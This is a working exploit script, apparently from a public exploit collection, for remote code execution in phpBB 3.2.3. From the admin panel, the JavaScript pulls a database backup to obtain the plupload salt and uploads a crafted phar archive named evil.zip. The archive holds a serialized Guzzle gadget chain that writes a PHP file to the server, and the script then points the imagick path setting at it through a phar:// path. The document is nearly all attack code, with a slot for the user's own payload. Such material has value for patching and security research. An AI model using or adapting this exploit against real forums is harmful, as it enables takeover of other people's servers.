phpBB 3.2.3 Remote Code Execution

`// All greets goes to RIPS Tech  
// Run this JS on Attachment Settings ACP page  
var plupload_salt = '';  
var form_token = '';  
var creation_time = '';  
var filepath = 'phar://./../files/plupload/$salt_aaae9cba5fdadb1f0c384934cd20d11czip.part'; // md5('evil.zip') = aaae9cba5fdadb1f0c384934cd20d11czip  
// your payload here  
var payload = '<?php __HALT_COMPILER(); ?>\x0d\x0a\xfe\x01\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\x01'+'\x00'.repeat(5)+'\xc8\x01\x00\x00O:31:"GuzzleHttp\x5cCookie\x5cFileCookieJar":4:{s:41:"\x00GuzzleHttp\x5cCookie\x5cFileCookieJar\x00filename";s:30:"/var/www/html/phpBB3/pinfo.php";s:52:"\x00GuzzleHttp\x5cCookie\x5cFileCookieJar\x00storeSessionCookies";b:1;s:36:"\x00GuzzleHttp\x5cCookie\x5cCookieJar\x00cookies";a:1:{i:0;O:27:"GuzzleHttp\x5cCookie\x5cSetCookie":1:{s:33:"\x00GuzzleHttp\x5cCookie\x5cSetCookie\x00data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:17:"<?php phpinfo();#";}}}s:39:"\x00GuzzleHttp\x5cCookie\x5cCookieJar\x00strictMode";N;}\x08\x00\x00\x00test.txt\x04\x00\x00\x00K>\x10\x5c\x04\x00\x00\x00\x0c~\x7f\xd8\xb6\x01'+'\x00'.repeat(6)+'test\xa0\x17\xd2\xe0R\xcf \xf6T\x1d\x01X\x91(\x9dD]X\x0b>\x02\x00\x00\x00GBMB';  
var byteArray = Uint8Array.from(payload, function(c){return c.codePointAt(0);});  
var sid = (new URL(document.location.href)).searchParams.get('sid');  
var url = '/adm/index.php';  
var getparams = {  
'i': 'acp_database',  
'sid': sid,  
'mode': 'backup'  
};  
$.get(url, getparams, function(data) {  
form_token = $(data).find('[name="form_token"]').val();  
creation_time = $(data).find('[name="creation_time"]').val();  
if(form_token && creation_time) {  
var posturl = '/adm/index.php?i=acp_database&sid=|&mode=backup&action=download';  
var postdata = {  
'type': 'data',  
'method': 'text',  
'where': 'download',  
'table[]': 'phpbb_config',  
'submit': 'Submit',  
'creation_time': creation_time,  
'form_token': form_token  
}  
$.post(posturl.replace("|", sid), postdata, function (data) {  
plupload_salt = data.match(/plupload_salt',\s*'(\w{32})/)[1];  
if (plupload_salt) {  
filepath = filepath.replace("$salt", plupload_salt);  
var postdata = new FormData();  
postdata.append('name', 'evil.zip');  
postdata.append('chunk', 0);  
postdata.append('chunks', 2);  
postdata.append('add_file', 'Add the file');  
postdata.append('real_filename', 'evil.zip');  
// file  
var pharfile = new File([byteArray], 'evil.zip');  
postdata.append('fileupload', pharfile);  
jQuery.ajax({  
url: '/posting.php?mode=reply&f=2&t=1',  
data: postdata,  
cache: false,  
contentType: false,  
processData: false,  
method: 'POST',  
success: function(data){  
if ("id" in data) {  
$('#img_imagick').val(filepath).focus();  
$('html, body').animate({  
scrollTop: ($('#submit').offset().top)  
}, 500);  
}  
}  
});  
  
}  
}, 'text');  
}  
});  
  
`